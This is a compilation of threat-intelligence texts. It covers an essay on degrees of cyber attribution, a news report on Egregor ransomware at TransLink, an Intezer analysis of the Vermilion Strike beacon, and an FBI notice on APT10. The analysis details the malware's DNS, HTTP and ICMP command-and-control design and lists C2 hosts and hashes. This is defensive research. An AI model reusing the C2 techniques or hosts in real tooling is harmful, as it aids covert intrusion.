CTI analysts and vendors frequently demonstrate a mismatch between choice and constraints along the limitations described above. Most often, we observe this disconnect where analysts desire greater “who-centric” attribution than evidence permits, searching for a way to make statements such as “This organization is responsible for the campaign.” Less frequently, analysts possessing significant additional knowledge beyond mere technical observables may omit these items (or the conclusions that can be derived from them), typically to preserve sources and methods of collection for such evidence which are often sensitive in nature.
In the latter case, the broader community is left wanting for more information and detail where such items are actually available. While not necessarily desirable, such an action does not impose any significant cost or lead to potentially incorrect analysis or misconceptions, at least from a pure network defense perspective. Such concerns are, however, inherent to the former, when analysts wish to move beyond constraints to make pseudo-Primary Attribution claims when necessary evidence is lacking. In these cases, a desire to move beyond the evidence available, either through hypothesis or outright guesswork, can lead to outcomes that are indefensible and outright incorrect. Examples would include misattributing identified behaviors to a definite entity, or somewhat less concerningly making such claims (which may nonetheless appear likely) when the evidence simply doesn’t exist to support.
That constraints exist on reporting ability and potential accuracy is undeniable, yet overcoming such constraints raises several questions:
- How can we move beyond evidence constraints on attribution?
- How can analysts properly describe activity when constraints limit us to technical details?
- Is it even desirable for analysts to push against evidentiary constraints toward more robust, “who-centric” forms of attribution (the right side of the continuum)?
Moving beyond constraints is easily satisfied: analysts simply require more (and better) evidence. Yet the type of evidence necessary is often beyond the reach of private sector CTI operations and usually cannot be distributed or referenced in public reporting from government or law enforcement operations except in anomalous situations. The type of evidence in question relates to “who-specific” findings typically associated with government-run intelligence collection or law enforcement investigations. At times, private sector entities and independent researchers can utilize this information when it is made public, and even more exceptionally uncover such evidence independently. Especially valuable over the past few years are detailed indictments produced by the United States Department of Justice (DoJ). DoJ indictments are typically treasure troves of information that simply cannot be found elsewhere or through other (legal) means, including details such as organizational hierarchies and even the identification of specific individuals involved in operations. In these cases, third-party analysts can leverage this work and, through connection with known technical observables, make links between information in indictments and previously-gathered technical evidence to make statements closer (although not necessarily identical) to Primary Attribution.
When the evidence is simply not available to move beyond constraints, such limitations must be recognized and embraced. In these situations, analysts face the frustrating—but necessary—task of grouping observations purely based on technical observations. Multiple frameworks exist to either assist such activity, such as MITRE ATT&CK, or outright define the process, like the Diamond Model of Intrusion Analysis. In any event, analysts must remain faithful to the information available (technical observations) and not work to move beyond what such evidence can support. This essentially means dwelling on the left side of the continuum, focusing on Behavioral Attribution, linking observations to named clusters of activity as opposed to discrete entities or personas.
Yet in cases where evidence falls short, but desire (or necessity) requires pushing further to the right on the attribution continuum toward Primary Attribution, what avenues are available? Some may argue that going “just far enough” towards “who-centric” attribution to identify a plausible sponsor or directing state authority, even if this falls well short of a specific identity, may suffice to add value. In this scenario, where available information is insufficient to make a Primary Attribution statement such as “Sandworm, identified as Russian GRU Unit 74455,” simply saying “Russian-related” or “likely of Russian origin” would appear to be acceptable. This type of General Attribution, linking to a very broad entity (which consists of multiple subgroups and interests which may not all work in concert with one another), seems enticing at first as a “halfway” point between Behavioral Attribution and incredibly difficult Primary Attribution. But on further analysis, this concept seems to create far more issues than it solves.
## The “Mushy Middle” of Attribution
Extremes of attribution activity—behavior-only clustering and externally-enriched Primary Attribution of threat actors—have been established and explored thus far. While there remains significant left- and right-tail space for items that move slightly beyond Behavioral Attribution with additional evidence and items which may fall short of complete Primary Attribution, a significant space exists between the two. In a previous section, we described this as General Attribution—although here we will refer to this area primarily as the “mushy middle.”
The “mushy middle” consists of attribution statements which go far enough to name a general party—“China,” “Romanian criminal gangs,” “Iranian interests”—but that do not go further to concrete entities within these broader groupings. On the one hand, narrowing down activity from the universe of “all possible actors” to a subset such as “Chinese-related threat actors” seems to be somewhat beneficial. Yet any such benefit derives from a (mis)conception of country-level unitary actions with respect to cyber operations, their objectives, and desired impacts.
Further examination and reflection reveal that general groupings—whether “Chinese interests” or “Bulgarian criminal elements”—mask a diverse set of actors with varying motivations, TTPs, and intentions. Lazily lumping activity under such a general label may seem productive at first, but under additional scrutiny such actions are likely to facilitate bias or assumption rather than lead to greater analytical rigor and improved defensive response. To further explore the “mushy middle” and its implications, we will consider several examples.
### Reviewing Russian-Related Intrusion Operations and SUNBURST
Several high-profile incidents and resulting statements and analysis from multiple parties highlight a number of worrying cyber operations linked to various Russian entities. As part of this, statements ranging from specific identification of Russian government entities (and even the personnel staffing such agencies) exist, along with more general claims of links to Russian-related “interests.” While saying “Russian-related” for a given incident—such as the recently disclosed SUNBURST activity—may appear on its face somewhat beneficial, this classification papers over significant differences in Russian-nexus cyber operations. As documented elsewhere, Russian intelligence operations are not only diverse, but at times functioning at cross-purposes or in competition. Such rivalries make unitary attribution at just the level of “Russia” problematic, and this is before considering operational and behavioral distinctions.
A significant history exists for Russian-sponsored disruptive cyber operations, ranging from the 2015 and 2016 Ukraine electric sector events to the 2017 NotPetya incident. Yet the common thread uniting these incidents (and subsequent reporting and analysis) is Primary Attribution. As made clear in public statements, indictments, and sanctions from the United States, United Kingdom, and other countries, these operations were all perpetrated by Russian military intelligence (GRU), specifically Unit 74455. While this may appear so much trivia at first, such information must be put in context of other Russian-related operations that did not result in disruptive or destructive impacts, which have aligned to other elements of Russia’s intelligence services: either the civilian intelligence agencies, the Foreign Intelligence Service (SVR) or Federal Security Service (FSB), or even other elements of the GRU such as Unit 26165 (commonly referred to as APT28 or Fancy Bear).
Although at present additional evidence and details are sadly unavailable, multiple leaks from US government officials linking SUNBURST to SVR and not GRU activity is significant, even though both groups ultimately take orders from Russian national command authority. The reason is the operational history of these groups. While GRU operations—especially those linked to Sandworm, or Unit 74455—are frequently linked to disruptive or outright destructive operations, no such parallel exists with historical SVR-linked activity. Instead, SVR-linked operations (commonly tracked as APT29 or Cozy Bear, although additional subgroups likely exist) overwhelmingly focus on traditional espionage activities with no evidence of disruptive activity.
In this example, an attribution statement going just far enough to say “Russia” is not only unhelpful, but potentially misleading given the differing operational profiles, intentions, and histories of specific Russian-linked threat actors. A General Attribution statement related to SUNBURST operations thus seems less than ideal, and perhaps creates more confusion absent additional evidence allowing for a Primary Attribution statement linking the activity to a specific entity under Russian command authority.
Differentiation among actors, taking into consideration their different goals, interests, and likely intentions, is therefore critical in properly dispositioning the SUNBURST and related activity. If such activity could be linked to an entity such as GRU Unit 74455, the commensurate defensive response and fallout would be dramatically different than if (as seems likely given current information) such actions are instead linked to more traditional espionage operations.
### HAFNIUM Operations and Widespread Vulnerability Exploitation
Another example of General Attribution statements adding little value—and potentially leading to misconceptions in understanding and responding to an event—lies in widespread exploitation of CVE-2021-26855 (“ProxyLogon”) and related vulnerabilities in March 2021. When initially disclosed by Microsoft on 02 March 2021, the activity in question was limited to an activity group identified as HAFNIUM that paired Exchange exploitation with several privilege escalation vulnerabilities, to both capture email on victimized servers as well as to install webshells for further access. While derived via Behavioral Attribution, Microsoft’s original public blog also noted that HAFNIUM is “assessed to be state-sponsored and operating out of China,” a General Attribution statement.
Based on reporting from Microsoft, Volexity, and FireEye, threat actors were exploiting CVE-2021-26855 since at least January 2021, and given other timelines potentially as far back as November 2020. After disclosure, exploitation activity exploded with various media outlets reporting 20-30,000 entities victimized in the U.S. alone within days of public vulnerability disclosure. Most significantly, several additional, distinct entities beyond HAFNIUM started abusing this vulnerability—shortly after public disclosure and in several cases just prior.
While non-Microsoft reporting emphasized multiple distinct groups exploiting the Exchange vulnerability from the start, media reporting and popular conceptions latched onto the initial General Attribution statement from Microsoft: that CVE-2021-26855 and related Microsoft Exchange exploitation is correlated with HAFNIUM, HAFNIUM is linked to China, and therefore all such activity is linked to Chinese operations.
There are several problems with the logic in the previous statement. First, and as demonstrated in reporting from FireEye and Volexity, it was already debatable as to whether exploitation from January 2021 onward is linked to a single entity. Following public disclosure (and the ability to reverse engineer the Exchange patches), exploitation possibilities rapidly expand as the vulnerability shifts from a “Zero Day” to a “N-Day.” Although evidence is uncertain as of this writing, available information suggests that one to six distinct groups were exploiting the ProxyLogon vulnerability prior to public disclosure, with multiple potential additional entities opportunistically doing so after the patch release and vulnerability identification.
Second, the association of HAFNIUM with “China” raises concerns. HAFNIUM may very well be associated with Chinese authorities or interests, but such a high-level association (to “China” as opposed to anything specific about the People’s Republic and its various military, intelligence, contracting, and criminal entities) does little to assist defense, response, or even higher-level strategy. As stated previously, postulating “China” as a unitary object—with uniform behaviors and intentions in cyber operations—simply ignores the reality of diverse entities executing cyber intrusions with ties to Chinese authorities.
Since Chinese authorities established the People’s Liberation Army (PLA) Strategic Support Force (SSF) in December 2015, Chinese-associated cyber activities increasingly bifurcate between traditional espionage operations and military cyber operations focused on technical intelligence along with offensive and defensive actions. Typical views of China-linked cyber operations focus on extensive intellectual property theft and espionage activity. The formation of the SSF, and its Network Systems Department (NSD) component, combined former military espionage operations (PLA Third Department) and offensive cyber missions (PLA Fourth Department) into a single entity focused on military-specific missions and support. Meanwhile, increased diversity of operations by the Chinese civilian Ministry of State Security (MSS) indicates a possible separation of duties in overall espionage operations between SSF/NSD and MSS from the mid-2010s onward. While the SSF/NSD appears to largely concentrate on military-supporting capabilities in cyber offense and defense, MSS (and its various contractors and regional units) remain focused on espionage and technology theft operations. Although exceptions certainly exist, the overall trajectory of Chinese state computer network operations activity since the SSF’s formation reflects an increasingly firm separation of duties between military and civilian intelligence authorities.
Furthermore, in addition to the SSF-MSS bifurcation, a thriving contractor-based, “hack-for-hire” ecosystem also exists within China. Most clearly demonstrated through the confusing cluster of activity referred to as “Winnti,” a complex system of relationships exists between actual operating entities and sponsors or directing authorities. Such tangled links have confounded multiple researchers and analysts, leading to a confusing mess of activity clusters and incomplete attribution. HAFNIUM may fall into this category, making assessment of this group’s intentions, motivations, and operational direction more confusing still.
From all of these observations, a faulty reading of “China”-associated cyber operations could lead to an assumption that compromised organizations are only of value to the extent they possess valuable intellectual property or similar information. Yet the diversity of Chinese strategic interests and possible operational goals—including the possibility of building up deniable proxy infrastructure through which to conduct future operations, including offensive actions—means that all assumptions of potential Exchange exploitation purpose simply based on a link to “China” are either insupportable or meaningless given numerous plausible options.
Furthermore, that post-disclosure opportunistic exploitation of the vulnerabilities in Exchange are now lumped into unitary activity by a single agent engenders additional problems. Given information available at the time of this writing, the Behavioral Attribution statements made by Microsoft, FireEye, and others seem defensible and desirable, while subsequent General Attribution statements by Microsoft and popular media generate little more than confusion with respect to this activity.
## The Multitude of Possible Midpoint Errors
The two examples provided—linked to Russian and Chinese cyber operations, respectively—may appear to limit this discussion to large, complex, and well-resourced cyber powers. And yet with minimal investigation, similar concerns arise in other areas as well. The Democratic People’s Republic of Korea (North Korea), Iran, and even the United States (and other members of the Five Eyes SIGINT-sharing partnership) do not represent monolithic entities with complete unification over cyber capabilities, missions, and objectives. Rather, these entities represent complex arrangements with multiple units performing missions ranging from traditional espionage collection to internal security operations to pre-positioning for future conflict (commonly referred to as “operational preparation of the environment,” or OPE).
Simply saying that a given activity is the act or aligns with the interest of a given country or authority leaves so much space for inferring actual intentionality as to be meaningless at best, or misleading at worst. Although seemingly not as complex, the interaction and overlap between criminal organizations and entities operating in the e-crime ecosystem is not far off from the complexity of state services. In these spaces, as seen in the explosion of actors and service providers facilitating ransomware since at least 2018, an entire ecosystem spanning initial access, subsequent penetration, and ultimate network ransom operations exists. Thus, making general claims about regions or similar does little to shed light on the specifics of adversary operations given the diversity of actors across multiple geographies operating within this space.
Overall, General Attribution statements may appear, on their face, to add greater clarity to matters as they seemingly narrow activity down to a generalized actor, but in practice such statements merely give in to inherent biases and preconceived notions on given general adversary tendencies. At the same time, General Attribution does little to actually elucidate specific motivations and intentions for the matter at hand. As a result, General Attribution statements represent so much “junk food” for analysts and external observers, providing some abstracted glimpse of “who” might be responsible for a given activity while lacking the rigor or specificity required for either network defense or strategic planning and response.
## Orienting Cyber Threat Intelligence to Defensible Attribution Actions
If CTI attribution remains locked between separate “poles” of Behavioral Attribution and Primary Attribution, with limited ability to migrate from behaviors to specific entities and a likely misleading middle lying in between, what should be the goal of CTI attributive statements? Put exceptionally simply, the goal of attribution within the concepts of operational cyber security is quite succinct: attributive statements should seek to assist network defenders. In this fashion, the “mushy middle” described above fails to reach the necessary evidentiary rigor of Primary Attribution while muddying Behavioral Attribution by tapping into preconceived notions or artificial expectations of state- or group-level conduct as though these were always monolithic, unitary objects.
The above is not to say that Primary Attribution statements are useless for network defenders. They can in fact be quite valuable to the degree that such statements enable direct links to real entities from which we can then reasonably infer intention and purpose. Identification to this level of specificity can cement understanding of adversary behaviors and TTPs, while also facilitating understanding of intruder or attacker goals. When performed properly and accurately, such identification can be invaluable for defensive response and triage. For example, being able to differentiate between a likely espionage campaign and a potentially disruptive operation would be invaluable for response actions to a given breach, as discussed in the SUNBURST example above.
Yet while desirable, the likelihood that such information will be available (given evidence requirements), actionable (due to possible controls over the use and dissemination of information), or timely (since gathering Primary Attribution evidence takes time) will often be incredibly low. Certainly attribution to specific entities (and motivations) is valuable when it can take place, but as evidenced by the months or years-long separation between public statements and actual events in U.S. indictments or the sanctions and public reports of other countries, the likelihood of such information being timely and actionable is quite small.
Instead, by remaining within existing and supportable evidentiary boundaries, CTI analysts can ensure attribution claims remain grounded in available data while still providing critical support to network defenders and related parties. Such discipline allows CTI reporting to detail how intrusions take place, even if why and by whom remain mysteries. Furthermore, CTI analysts will also avoid generic, largely unhelpful statements such as “this appears to align with Russian intentions” that provide no appreciable value for defensive operations and may ultimately lead to misconceptions and ill-thought assumptions instead given the diversity of such interests.
While the “mushy middle” may succeed in claiming soundbites, conference presentations, and media mentions, this arena fails to provide much in the way of actionable, useful information for network defenders. Relation to a general “interest” or abstract “intention” simply does not provide enough fidelity into adversary motivation and objectives to engender improved defensive responses. Instead, such an approach generates a superficial feeling of “adversary identification” when such identification resembles little more than the toss of a weighted die.
Furthermore, General Attribution provides little for audiences typically more interested in Primary Attribution statements, such as policymakers and strategic decision makers. For their actions to truly matter, just pointing a finger at “China” or similar does little more than provide a performative statement—actual, concrete action demands narrowing down responsible entities to specific parties. In this way, responses ranging from sanctions to indictments to possible cyber “counterstrikes” are enabled. Failure to provide sufficient detail on such matters to this type of audience therefore does little to enable any impactful or effective action in the realm of cyber operations, deterrence, or response. While “who” can and, depending on the audience, certainly does matter in cyber defensive operations, the evidentiary standard of reaching “who-based” attribution is well beyond that which is expressed by many entities operating in the public sphere.
Given the above arguments, General Attribution represents a lazy midpoint between grounded Behavioral Attribution and more robust (but rarely achieved, and if so even more rarely made public) Primary Attribution activities. General Attribution statements are certainly possible, and potentially (if vacuously) supportable to some degree. Yet given the evidence available to many CTI analysts, the combination of assumptions made in performing General Attribution combined with lack of any noticeable, material value make this an undesirable, pointless endeavor. Where analysts can proceed toward more robust attribution statements defining specific groups, organizations, or persons, we should use all tools and evidence in our power to do so. But given the rare situations where this can be achieved, CTI analysts and commercial vendors are advised to remain firmly grounded in making Behavioral Attribution claims which are supported by evidence, which also happen to be the statements of most immediate utility to on-the-ground network defenders.
## A Note on Names
One final consideration relates to naming linked to CTI attributive actions. Analysts and external observers are familiar with a diverse series of names from various vendors, organizations, and other parties describing what seems, on its face, to be identical (or at least overlapping) activity. One typical and convincing argument concerning the profusion of threat actor names, including when referring to the same activity, is that analysts should avoid using the terminology of others due to different sources, clustering methodologies, and visibility. This approach makes sense and ties in to the epistemic realities of typical analyst visibility and available evidence.
Yet as noted in prior sections, this activity aligns with a certain sector of our attribution continuum, namely Behavioral Attribution based on clustering of observables. As illustrated below, unless an analyst finds themselves in the improbable position of omniscience with respect to the set of all possible observations of a given threat campaign, or other action, at best analysts will work with a subset of observations. Furthermore, different analysts, utilizing different sources or possessing different visibility into matters, will have perspectives on matters that, although frequently overlapping, are not necessarily exact—and this is before we delve into matters of methodology which may result in different clustering actions. In this case, unless third parties have visibility into both the methodology and corpus of evidence used to derive a cluster name, Behavioral Attribution terms should be distinct among different analysts.
Matters change when we proceed along the attribution continuum towards Primary Attribution. In this situation, names are not linked to varying clusters of related observations, but instead designate a specific entity, organization, or person in the world. In these cases, a profusion of names for precisely the same thing is both unhelpful and absurd. As previously documented, CTI analysts will rarely be able to migrate toward Primary Attribution statements, and halfway General Attribution claims are similarly unhelpful as well as imprecise.
Therefore the issue of name profusion for specific, existing entities is not common—but it does occur. To explore further, we can look at the 2018 indictment of two Chinese nationals by the U.S. Department of Justice for intellectual property theft campaigns. Prior to the indictment, CTI analysts and vendors tracked the activity in question under various names such as APT10, Cloud Hopper, POTASSIUM, Stone Panda, and other terms. While such tracking made sense—given different visibility and analytical methodology—prior to the indictment (and its treasure trove of Primary Attribution evidence), after its release the activity was linked to a specific entity: Huaying Haitai Science and Technology Development Company, operating on behalf of or in conjunction with the Chinese MSS’s Tianjin State Security Bureau. At this point, the activities tracked as APT10, Stone Panda, Cloud Hopper, etc., coalesce around a specific entity in the world—and the cryptonyms no longer make sense, at least in the context of activity specifically described in the indictment.
For describing the campaigns in the 2018 DoJ document, use of the vendor-specific cryptonyms becomes useful only insofar as it allows us to link the Primary Attribution statements within the document to prior analysis when such evidence was unavailable. A proper way of referencing the activity would therefore resemble something along the lines of, “cyber intrusions executed by Huaying Haitai, previously tracked as APT10,” or similar. But continuing to use the cryptonyms exclusively without reference to the named, identified responsible party muddies analysis and enables continuous confusion.
Where matters become less clear are in future research and analysis of activity, similar to previous discussions concerning the “decay” of linked Primary Attribution statements over time. Using the same example as above, Primary Attribution evidence allows for the identification of a specific entity responsible for items previously tracked as Cloud Hopper, etc.—but future activity, absent continued collection and availability of Primary Attribution evidence, will lack equivalent visibility. In these cases, visibility- and methodology-specific names may reemerge as problems of evidence availability and perspective return. However, future statements can at least anchor themselves in prior Primary Attribution statements by noting the historical link to a definite entity, and the possibility that future observations reflect a continuation of this link. At this stage, we reach the rightward section of the attribution continuum, but fall short of pure or complete Primary Attribution possibilities. Instead, we can only make assessments of a continued link to the named entity in past Prior Attribution work until sufficient evidence becomes available to re-establish the “who”-specific link.
## Conclusion
Attribution is a thorny subject in CTI discussion, but through further examination and analysis we can reveal the concept not as a binary choice but rather a selection along a continuum of options. These range from purely behavior-based analysis and linking on technical information to robust, all-source identification of specific organizations or even individual persons responsible for a given incident.
Although attribution maps to a continuum with a near infinite variety of possibilities, thorough examination of attribution outcomes reveals a mushy, undesirable middle ground between the two poles described above. Due to a variety of factors, many (if not most) CTI analysts and their respective employers will be unable to push very far from the leftward pole of Behavioral Attribution. Yet in desiring to achieve something more akin to Primary Attribution, CTI practitioners must beware a middle ground of General Attribution that provides little real value to either network defenders or higher-level policymakers and strategic audiences, while also introducing assumptions and overly broad classifications that confuse decision-making and follow-on analysis.
Even though the temptation to CTI analysts is strong to make general associative statements linking a given activity or incident to a country or high-level group, further examination indicates these are at best misleading and at worst potentially harmful. Understanding that groups, from state-sponsored cyber operations to complex criminal networks, are not unitary objects but rather contain various interest centers, points of focus, and operational teams highlights that simply saying “this incident is related to Country X” does little to advance the field of network defense on any practical level. By understanding the continuum of attribution choices and the constraints forced on these choices through available data and evidence, CTI practitioners can remain grounded in what sources are accessible while also improving support to consumers of CTI. |
# AlienVault - Open Threat Exchange
otx.alienvault.com/pulse/57976b52b900fe01376feb01/ |
# Metro Vancouver's Transit System Hit by Egregor Ransomware
The Egregor ransomware operation has breached Metro Vancouver’s transportation agency TransLink, causing disruptions in services and payment systems. On December 1st, TransLink announced that they were having issues with their information technology systems that affected phones, online services, and the ability to pay for fares using a credit card or debit card. All transit services were unaffected by the IT problems.
After restoring the payment systems, TransLink issued a statement disclosing that a ransomware attack caused the IT problems. "We are now in a position to confirm that TransLink was the target of a ransomware attack on some of our IT infrastructure. This attack includes communications to TransLink through a printed message," TransLink disclosed in a statement.
Global BC reporter Jordan Armstrong tweeted a picture of the ransom note and stated that TransLink printers were repeatedly printing ransom notes.
> Ransom letter that’s been rolling off the printers at @TransLink. Sources tell me, at this point, @TransLink does NOT intend to pay. But a cyber security expert we spoke to says this is a sophisticated new type of ransomware attack... and many victims do pay. @GlobalBC pic.twitter.com/2tYLy4lZkG — Jordan Armstrong (@jarmstrongbc) December 4, 2020
From the picture of the ransom note, BleepingComputer can confirm that it was the Egregor ransomware operation behind the attack. Egregor is also the only ransomware known to run scripts that print bomb ransom notes to available printers, as described by Armstrong in his tweet. The Egregor gang performed this same tactic during a recent Cencosud cyberattack, where receipt printers began repeatedly printing ransom notes to draw public attention to the attack.
Egregor is a new organized cybercrime operation that partners with affiliates to hack into networks and deploy their ransomware. As part of this arrangement, affiliates earn 70% of ransom payments they generate, and the Egregor operators make a 30% revenue share. The affiliates who compromise a network are known to steal unencrypted files before encrypting devices with the Egregor ransomware. The hackers then use these stolen files as further leverage by telling victims they will be publicly released if a ransom is not paid.
This ransomware gang began operating in September 2020 after another ransomware group known as Maze shut down their operation. Threat actors told BleepingComputer that many of the affiliates that worked with Maze moved over to Egregor, which allowed the new operation to amass many victims quickly. These attacks include numerous high-profile companies worldwide, including Kmart, Cencosud, Crytek, Ubisoft, and Barnes and Noble. |
# Vermilion Strike: Linux and Windows Re-implementation of Cobalt Strike
**Key Findings**
- Discovered Linux & Windows re-implementation of Cobalt Strike Beacon written from scratch.
- Linux malware is fully undetected by vendors.
- Has IoC and technical overlaps with previously discovered Windows DLL files.
- Highly targeted with victims including telecommunications, government, and finance.
Cobalt Strike is a popular red team tool for Windows, heavily used by threat actors. At the time of this writing, there is no official Cobalt Strike version for Linux. In August 2021, we at Intezer discovered a fully undetected ELF implementation of Cobalt Strike’s beacon, which we named Vermilion Strike. The stealthy sample uses Cobalt Strike’s Command and Control (C2) protocol when communicating to the C2 server and has Remote Access capabilities such as uploading files, running shell commands, and writing to files. The malware is fully undetected in VirusTotal at the time of this writing and was uploaded from Malaysia.
Based on telemetry with collaboration from our partners at McAfee Enterprise ATR, this Linux threat has been active in the wild since August, targeting telecom companies, government agencies, IT companies, financial institutions, and advisory companies around the world. Targeting has been limited in scope, suggesting that this malware is used in specific attacks rather than mass spreading.
After further analysis, we found Windows samples that use the same C2. The samples are re-implementations of Cobalt Strike Beacon. The Windows and ELF samples share the same functionalities. The sophistication of this threat, its intent to conduct espionage, and the fact that the code hasn’t been seen before in other attacks, together with the fact that it targets specific entities in the wild, leads us to believe that this threat was developed by a skilled threat actor.
In this post, we will provide a technical analysis of the samples and explain how you can detect and respond to this threat.
## Technical Analysis
### Linux File
The file was uploaded to VirusTotal from Malaysia and has no detections in VirusTotal at the time of this writing. The file shares strings with previously seen Cobalt Strike samples and triggers a number of YARA rules that detect encoded Cobalt Strike configurations. The ELF file is built on a Red Hat Linux distribution. It uses OpenSSL via dynamic linking. The shared object names for OpenSSL on Red Hat-based distributions are different from other Linux distributions. Because of this, it can only run on machines with Linux distribution based on Red Hat’s code base.
### Initialization
The sample starts by forcing itself to run in the background using daemon. It will decrypt the configuration, using the XOR key 0x69. The key 0x69 is a common value used by Cobalt Strike’s encrypted configuration too. Vermilion Strike’s configuration format is the same as Cobalt Strike. Tools used for extracting Cobalt Strike configurations can also be used to extract Vermilion Strike configuration. The Windows components of the configuration are ignored for this Linux version.
Further decryption is performed in a heap with decoded strings, keys, and values required by the beacon for its operation. The beacon will then generate a SHA256 hash sourced from a random number seeded from the thread ID. This value will be used later in DNS beaconing. Next, a public RSA key will be imported for later use.
The beacon will begin fingerprinting the machine. A random number will be generated and the process ID will be fetched. It will grab the kernel version of the machine using uname. Next, the beacon will fingerprint network information through the getifaddrs function. It will loop through the interfaces looking for IPv4 addresses. It will gather the interface with an address not equal to “127.0.0.1” and stage the IPv4 address.
The beacon will then fingerprint the entry in the local password database for information about the current effective user ID of the process. The beacon will then fingerprint the hostname of the machine. The collected information will be formatted into a string, encrypted with the public RSA key, and base64 encoded, as is standard for communication with a Cobalt Strike server. The stages are shown below.
Prepended to the fingerprint string is the value “1.0.1.LR”. This appears to be an internal version string. A similar string, “W1.0.1,” was found in a newly discovered Windows sample of Vermilion Strike that shares the same C2 and malware functionality.
The encrypted data is sent to the C2 server in a similar way that the metadata is sent from a Cobalt Strike beacon to the C2 server. The payload that is encrypted starts with the marker 0xbeef. The same marker is used by the legitimate Cobalt Strike beacon.
### Command and Control
Command and Control is primarily performed over DNS but also available over HTTP. This DNS-based approach for communications can help avoid traditional defenses that monitor HTTP traffic. Commands are received via DNS Address (A) and Text (TXT) records. The beacon first makes DNS requests out to hardcoded subdomains and gets an IP address returned. Normally, DNS requests on hostnames are intended to be translated into an IP address for which to visit. In this case, the IP address returned is not used as an IP address but for triggers to change the beacon behavior.
Once the beacon gets the signal to download a task, it will perform a DNS TXT query to the domain’s nameservers. The result of the TXT query is a base64 encoded and AES encrypted struct containing task information. An example of a returned task is shown below.
Tasks that the beacon can perform are:
- Change working directory
- Get current working directory
- Append/write to file
- Upload file to C2
- Execute command via popen
- Get disk partitions
- List files
The malware uses a separate thread to execute the tasks. The tasks are scheduled as jobs via a semaphore to ensure not too many jobs are executed at once. Vermilion Strike has a third way of communicating with the C2 server via ICMP ping messages. The malware adds the current pid to the offset 0x4 in the header and the encrypted payload is sent as data in the ICMP packet. The data size for an ICMP packet is limited to 65,507 bytes but the malware uses a size limit of 64,000 bytes for the payload. The code for sending and processing ICMP messages exists in the malware but the code for enabling it via the configuration is not present. This means it has the capability but can’t be configured to use it. This suggests it may be a new feature that hasn’t been fully developed yet.
### Links to Windows Files
When investigating this Linux file, we discovered related Windows samples. The first sample we noticed was: 3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc. This is a 32-bit EXE sample that shares a C2 IP address (160.202.163.100). This is a stager that will fetch a DLL from the C2 over HTTP and execute it in-memory.
An example of the next stage DLL is 7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492. This sample, first noticed in 2019 by Silas Cutler, is the Windows DLL equivalent of the ELF file. The functionality is almost exactly the same, except for the Windows environment. A side-by-side comparison of the configuration decoding function for the ELF and DLL beacons is shown below.
The DLL has the same domains as the ELF for C2, as well as an additional configured domain “amazon.hksupd.com”. Using the stager we managed to get a new payload from the server (e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5). It has a lot of shared code with the sample from 2019. This sample and another Windows version of Vermilion Strike (c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5) includes a similar version string as the ELF version. The version string in these samples is “W1.0.1”.
## Conclusion
Vermilion Strike and other Linux threats remain a constant threat. The predominance of Linux servers in the cloud and its continued rise invites APTs to modify their toolsets in order to navigate the existing environment. Linux threats often have low detection rates compared to their Windows counterparts due to reasons discussed in Why we Should be Paying More Attention to Linux Threats.
Vermilion Strike is not the only Linux port of Cobalt Strike’s Beacon. Another example is the open-source project geacon, a Go-based implementation. Vermilion Strike may not be the last Linux implementation of Beacon.
## Detection and Response
Intezer Analyze can detect both Linux and Windows variants of Vermilion Strike, based on code reuse, TTPs, and strings.
### Detect if a Machine in Your Network Has Been Compromised
For Linux-based systems, use Intezer Protect to get alerted on any malicious or unauthorized code executed in runtime. Protect 10 hosts, nodes, or machines for free. For Windows-based systems, use the Intezer Analyze Endpoint Scanner to scan the entire memory of your machines to find any traces of malicious code running on them. We also recommend using the IoCs section below to ensure that the Vermilion Strike process does not exist anywhere on your system.
### Response
If you are a victim of this operation, take the following steps:
1. Kill the process and delete all files related to the malware.
2. Make sure that your machine is clean and running only trusted code using a runtime security platform like Intezer Protect, or use Intezer Analyze Endpoint Scanner for Windows systems.
3. Make sure that your software is up-to-date with the latest versions and security patches and configured to security best practices.
## IoCs
**ELF**
- 294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc
**PE**
- **Stager**: 3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc
- **Beacon**:
- 7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492
- c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5
- 07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f
- e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5
**C2**
- 160.202.163.100
- update.microsofthk.com
- update.microsoftkernel.com
- amazon.hksupd.com
Intezer would like to thank McAfee ATR for their help during the research process.
**Authors**
- **Avigayil Mechtinger**: Product manager at Intezer, leading Intezer Analyze product lifecycle. Specialized in malware analysis and threat hunting.
- **Ryan Robinson**: Security researcher analyzing malware and scripts.
- **Joakim Kennedy**: Security Researcher analyzing malware and tracking threat actors. |
# TLP:WHITE
The following information is being provided by the FBI, with no guarantees or warranties, for potential use at the sole discretion of recipients in order to protect against cyber threats. This data is provided to help cybersecurity professionals and system administrators guard against the persistent malicious actions of cyber criminals. This FLASH has been released TLP:WHITE. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
**WE NEED YOUR HELP!**
If you find any of these indicators on your networks, or have related information, please contact FBI CYWATCH immediately.
Email: [email protected]
Phone: 1-855-292-3937
*Note: By reporting any related information to FBI CyWatch, you are assisting in sharing information that allows the FBI to track malicious actors and coordinate with private industry and the United States Government to prevent future intrusions and attacks.*
The FBI is providing the following information with HIGH confidence:
## SUMMARY:
The FBI obtained information regarding a group of Chinese APT cyber actors stealing high value information from commercial and governmental victims in the U.S. and abroad. This Chinese APT group is known within private sector reporting as APT10, Cloud Hopper, menuPass, Stone Panda, Red Apollo, CVNX, and POTASSIUM. This group heavily targets managed service providers (MSP) who provide cloud computing services; commercial and governmental clients of MSPs; as well as defense contractors and governmental entities. APT10 uses various techniques for initial compromise including spearphishing and malware. After initial compromise, this group seeks MSP administrative credentials to pivot between MSP cloud networks and customer systems to steal data and maintain persistence. This group has also used spearphishing to deliver malicious payloads and compromise victims.
In addition to and through cloud-computing MSPs, APT10 targets victims in the following areas:
- Agriculture
- Automotive
- Defense contractors
- Electronics
- Energy
- Financial
- Government
- Human Resources
- Manufacturing
- Medical
- Military
- Mining
- Shipping
- Technology services
- Telecommunications
